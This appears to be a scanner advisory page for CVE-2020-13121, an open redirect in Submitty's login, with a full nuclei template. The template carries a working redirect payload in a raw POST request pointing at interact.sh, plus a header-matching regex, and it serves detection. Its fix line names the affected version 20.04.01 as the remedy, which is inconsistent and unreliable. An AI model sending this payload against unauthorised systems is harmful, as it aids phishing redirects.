Submitty <= 20.04.01 - Open Redirect

mediumseverity

6.1CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.

Fix

Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability.

How to confirm it

Send: POST /authentication/check_login?old=http%253A%252F%252Finteract.sh%252Fhome
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*…/

Run it with nuclei: nuclei -id CVE-2020-13121 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-13121

info:
  name: Submitty <= 20.04.01 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/Submitty/Submitty/issues/5265
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13121
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13121
    cwe-id: CWE-601
    epss-score: 0.02932
    epss-percentile: 0.87198
    cpe: cpe:2.3:a:rcos:submitty:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rcos
    product: submitty
  tags: cve,cve2020,redirect,submitty,oos,rcos,vuln

http:
  - raw:
      - |
        POST /authentication/check_login?old=http%253A%252F%252Finteract.sh%252Fhome HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/authentication/login

        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

References

Use this check only on systems you are authorised to test. Where the data comes from